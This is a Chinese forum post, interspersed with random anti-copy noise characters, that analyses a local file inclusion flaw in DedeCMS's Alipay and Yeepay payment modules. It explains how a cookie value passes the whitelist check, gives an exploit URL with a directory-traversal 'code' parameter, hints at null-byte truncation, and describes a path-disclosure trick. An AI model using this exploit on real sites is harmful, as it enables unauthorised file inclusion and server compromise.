晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)! n! s. W6 D7 d5 ]- P& g0 a
- e9 l6 Y) B% s- c0 |0 ^# n出现漏洞的两个文件为:+ R. \) s5 I, Y2 c
Include/payment/alipay.php0 a! m* ]+ W0 u# }
Include/payment/yeepay.php; v* F$ k5 e# q6 p( O% I
漏洞均出现在respond方法里,估计这两个文件是临时工写的。! A4 `5 \5 B2 B6 g9 Y& h9 H
- s1 V9 Y; T2 G5 @3 c' ^/ z
Include/payment/alipay.php' u' E2 D4 g" p5 V; n- [; B
( L4 ^& x; N/ R; X......
' _- l& H x/ _0 N. v, o& M# h+ F/ [ function respond()( y- T) j3 g: n4 v* M6 j" k. `
{
5 X" P& d# a! \. F$ b5 E if (!empty($_POST))% g* v/ R1 {! J0 q4 |
{
7 ?, a7 @/ n! u6 ]$ b4 X foreach($_POST as $key => $data)/ F) g" u7 W: T! |9 u/ e; Q
{0 b! G' r4 d) }1 s
$_GET[$key] = $data;
! k# L( y6 @/ ?6 W) y @ }1 t- I2 \& R) Z% T4 ^% y
}
: R3 X% a" G& B- c- ?6 w a! F# Z /* 引入配置文件 */
: y) x4 ]& g6 n* P6 R1 i require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
. ~7 @# R% h' C; I% b0 a...... + Q0 r0 l5 m( I/ l6 H. W5 n
- x9 T+ \% @+ p) @* k/ ^1 T& h: i3 S: z e: \
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
W1 {6 a7 c9 z3 Z
x( P3 z' T0 a% s; U; SInclude/payment/yeepay.php/ z" ~; s+ v8 x: A
: U! L, X( G7 q1 F3 \
3 q$ I _4 S. E3 r2 G& T3 } m" e. |
......$ h: d" k0 @4 R! i2 K2 Z* t
function respond()8 a7 p5 [+ ~& U
{
4 C/ X4 c. d. d- T+ T! L# p) ~, \ ! Y3 a2 c: V5 M# j
/* 引入配置文件 */( l/ b# I/ g; u" k7 a! }
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';, M. m6 o5 Z0 n1 T V3 _4 S4 u, F7 ]
& Z2 @, E1 d5 x $p1_MerId = trim($payment['yp_account']);
5 A' w+ V/ K' O: ~# ~- Q. I $merchantKey = trim($payment['yp_key']);' ]2 n5 m, U q/ X( d# _! D
......
) Q+ \5 r8 H' N# f0 s: J N , T3 F5 V6 C( p9 Q4 B
! G0 d3 @3 ?- x' e9 F$ I' v7 b( G5 v
9 w% b. A) [6 t" c7 m1 D6 U5 z; r: W' r; r' A2 H+ s
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。$ r# g( X; I2 b4 f* A
( V; z% G; Y! U; a4 G3 T2 {
这两个方法在plus/carbuyaction.php文件调用。: v! ]6 Q8 O: l( t1 t
/ v/ Z. R) k5 p% D8 mplus/carbuyaction.php
2 l" r5 v, O. Y" u
' V6 T. M% P& z, G" F......
: K* I& N3 W) { X4 z9 s1 F& h} else if ($dopost == 'return') {! [! u: C* N$ A- Y
$write_list = array('alipay', 'bank', 'cod', 'yeepay');9 B2 z- @+ }( V# n
if (in_array($code, $write_list))" }; ~ {5 l% t5 Y7 T' F! y) a* G1 d
{
. n5 J. \9 ]. f: c0 {0 \+ N require_once DEDEINC.'/payment/'.$code.'.php';1 \8 F. `9 e1 C* K9 z% Z/ n
$pay = new $code;
7 B+ T/ s+ C/ j W; O, M $msg=$pay->respond();
! E% h e" c) n6 t% ^/ y2 S ShowMsg($msg, "javascript:;", 0, 3000);
$ v/ f+ W: B O exit(); 9 Q/ d5 k( A$ p1 ]: G9 m
} else {
$ B( D+ p. `7 Y$ H1 ^: g' | exit('Error:File Type Can\'t Recognized!');) ~0 }- p5 i O* y; ~+ a# h
}
8 {# c* ?+ F1 u; p- L F M. L5 O} \& j8 m( n3 t4 s- E
......
% B* Y+ B$ @% P
7 E* W. e5 I3 l9 b& p: k1 w
+ \& b, W" w' v/ N0 Y1 V ; x# l% |5 j8 \% \2 h6 u# {: t; s. Q' N
$ J0 Q/ ~0 V* y. U! L % s" q; V8 f0 L& v e
* S0 I: x' R. n; E- P4 ]- n
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。3 I) g z, |# a/ n: t" F0 i; x
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。3 T: K G7 t* ~: W9 H& l
% ^+ \ p& V1 h R; D回到include/common.inc.php来看看他的机制。9 S/ x& E5 c4 c: h! r5 r
" v. U4 h3 b" @- p& {$ [+ j2 E4 i & X$ Z: m+ D6 i ^9 ~7 h; s! ~
7 B! a- N: x- ~
......
6 d4 h Z! ?% Bforeach(Array('_GET','_POST','_COOKIE') as $_request)
4 o! E& d% m( Y" m B{
, S, i& [) O4 a+ a1 T foreach($$_request as $_k => $_v) " M& C6 E9 P1 m" v
{) z: D% \; C' z
if($_k == 'nvarname') ${$_k} = $_v;
* a* R8 n( B8 o N9 H" L else ${$_k} = _RunMagicQuotes($_v);, d; M& q6 X* @
}
7 M& x. X, ~; A1 V: ~: Q: t1 y+ T" f}8 a' H9 F$ Z# R5 V
......
+ C6 b- j+ m1 Q" X% y大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:; H8 `8 e7 H. `; U1 b. J
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |